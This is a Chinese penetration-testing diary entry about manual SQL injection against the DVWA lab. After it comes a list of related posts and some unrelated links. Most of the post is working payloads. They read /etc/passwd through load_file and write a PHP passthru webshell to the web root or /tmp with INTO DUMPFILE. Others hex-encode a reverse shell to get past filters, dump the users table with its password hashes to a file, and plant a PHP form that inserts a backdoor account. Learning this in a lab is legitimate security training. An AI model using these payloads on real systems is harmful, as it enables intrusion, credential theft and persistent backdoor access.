小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell
SQL手工注入
1、读取文件【load_file函数】
' union SELECT null,load_file('/etc/passwd')--+
burpsuite
2、写入文件
' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --+ 【写入一句话木马;INTO DUMPLING:MySQL函数,将输入下载在数据库中】
###此语句往往会提示无法写入,因为缺少权限【以运行MySQL的账号为己身获取的权限】
' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE 'a.php' --+ 【将其写入默认路径(使用单引号): /var/lib/mysql/dvwa/a.php (dvwa的账号)】
#当无权限进行指定目录写入文件时,可使用文件包含漏洞
首先,往通用目录/tmp/中写入,然后结合文件包含漏洞
' union select null, "<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/tmp/a.php" --+
#也可上传反弹shell
注:当通过URL注入网页木马时,“<”、“?”、“php”、“>”等字符可能会触发过滤机制,所以,应使用编码绕过
###将网页木马编译成二进制文件,数据库会使用INTO DUMPLING将其转换成PHP代码储存
复制反弹shell
修改反弹shellIP
编码
cat b.php | xxd -ps 【xxd:linux集成,16进制编辑查看器;-ps:显示编码后内容】
#16进制存在换行符,需整理一下,再加一层管道
cat b.php | xxd -ps | tr -d '\n' 【tr -d :删除】
再将编码后的密文替换明文
(0x密文)
3、保存下载数【拖库】
' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/tmp/a.db'--+
#若没有文件包含之类的漏洞可以下载拖库文件,则通过限定查询数目,一步一步复制黏贴进行数据窃取
当上传webshell无法实现目的操作,可编写服务器端代码,为己所用
#对目标有足够了解,数据库结构,表结构,程序设计逻辑方法
创建表单,向用户账号数据库插入一个账号【因为难以破解数据库的加密内容】,相当于开发一个功能
' union select null,'<?php if(isset($_POST["submit"])) { $userID = $_POST["userID"]; $first_name
= $_POST["first_name"]; $last_name = $_POST["last_name"]; $username =
$_POST["username"]; $avatar = $_POST["avatar"]; echo "userID: $userID<BR>"; echo
"first_name: $first_name<BR>"; echo "last_name: $last_name<BR>"; echo "username:
$username<BR>"; echo "avatar: $avatar<BR>";
$con=mysqli_connect("127.0.0.1","root","","dvwa"); if (mysqli_connect_errno()) { echo
"Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected to
database<BR>"; } $password = "123"; $sql="insert into dvwa.users values (\\"$userID\\",\
\"$first_name\\",\\"$last_name\\",\\"$username\\",MD5(\\"$password\\"),\\"$avatar\
\")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Error
creating database: " . mysqli_error($con); } mysqli_close($con); } ?> <form method="post"
action="<?php echo $_SERVER["PHP_SELF"]; ?>"> <input type="text" name="userID"
value="33"><br> <input type="text" name="first_name" value="fh"><br> <input type="text"
name="last_name" value="y"><br> <input type="text" name="username" value="yfh"><br>
<input type="text" name="avatar" value="yfh!"><br> <input type="submit" name="submit"
value="Submit Form"><br> </form>' INTO DUMPFILE '/tmp/user.php' --
小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell的更多相关文章
- 小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入
SQL手工注入 靶机:metasploitable(低) 1.当无权读取infomation_schema库[MySQL最重要的源数据库,必须有root权限]/拒绝union.order by语句 ...
- 小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法
SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询 ...
- 小白日记28:kali渗透测试之Web渗透-扫描工具-Nikto
扫描工具-Nikto #WEB渗透 靶机:metasploitable 靶场:DVWA[默认账号/密码:admin/password] #新手先将DVWA的安全性,调到最低,可容易发现漏洞 侦察[减少 ...
- 小白日记30:kali渗透测试之Web渗透-扫描工具-Skipfish
WEB渗透-skipfish Skipfish是一个命令行模式,以C语言编写的积极的Web应用程序的安全性侦察工具,没有代理模式. 它准备了一个互动为目标的网站的站点地图进行一个递归爬网和基于字典的探 ...
- 小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含
手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/ ...
- 小白日记35:kali渗透测试之Web渗透-手动漏洞挖掘(一)-默认安装引发的漏洞
手动漏洞挖掘 即扫描后,如何对发现的漏洞告警进行验证. #默认安装 流传linux操作系统比windows系统安全的说法,是因为windows系统默认安装后,会开放很多服务和无用的端口,而且未经过严格 ...
- 小白日记43:kali渗透测试之Web渗透-SqlMap自动注入(一)-sqlmap参数详解TARGET
SqlMap自动注入(一) sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞[动态页面中get/post参数.cookie.HTTP头].它由Python语言开发 ...
- 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞
手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...
- 小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)
webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用 ...
随机推荐
- PHP获取Cookie模拟登录
关键字:CURL Cookie CURLOPT_COOKIEJAR CURLOPT_COOKIEFILE 模拟登录 PHP作者:方倍工作室原文:http://www.cnblogs.com/txw19 ...
- linux vim用法总结
1.跳转到指定行 编辑模式下:输入 ngg或nG(n代表行数) 命令模式下:输入 :n(n代表行数) 2.查找命令 命令模式下输入 / 后面加上查找的内容 例如 :/name (查找 ...
- 制作java可执行程序的方法
命令行方法: 1. 创建Manifest.txt文件,内容: Main-Class: com.mkyong.awt.AwtExample 2.打包所有的class,包括Manifest.txt文件: ...
- JAVA中的常见面试题1
1.线程同步的方法的使用. sleep():使一个正在运行的线程处于睡眠状态,是一个静态方法,调用此方法要捕捉InterruptedException异常. wait():使一个线程处于等待状态,并且 ...
- snprintf 返回值
在平时写代码的过程中,我一个推荐带有n系列的字符串函数,如 strcat ->strncat sprintf->snprintf 我们有类似的一个函数 void dump_kid(std: ...
- (转载)JDOM/XPATH编程指南
JDOM/XPATH编程指南 本文分别介绍了 JDOM 和 XPATH,以及结合两者进行 XML 编程带来的好处. 前言 XML是一种优秀的数据打包和数据交换的形式,在当今XML大行于天下,如果没有听 ...
- oracle中in与exists的区别
exists是用来判断是否存在的,当exists中的查询存在结果时则返回真,否则返回假.not exists则相反. exists做为where 条件时,是先对where 前的主查询询进行查询,然后用 ...
- Redis安装与调试
Redis安装与调试 Redis安装与调试linux版本:64位CentOS 6.5 Redis版本:2.8.17 (更新到2014年10月31日) Redis官网:http://redis.io/ ...
- Codeforces Round #359 (Div. 2) C. Robbers' watch (暴力DFS)
题目链接:http://codeforces.com/problemset/problem/686/C 给你n和m,问你有多少对(a, b) 满足0<=a <n 且 0 <=b &l ...
- 关于block以及__bridge的一些笔记
问题概要 _block是否是一个OC对象? __bridge相关. _block是否是一个OC对象? 结论 一般来说,block可以看做一个OC对象,但是在编译器底层,block又可以被细分为bloc ...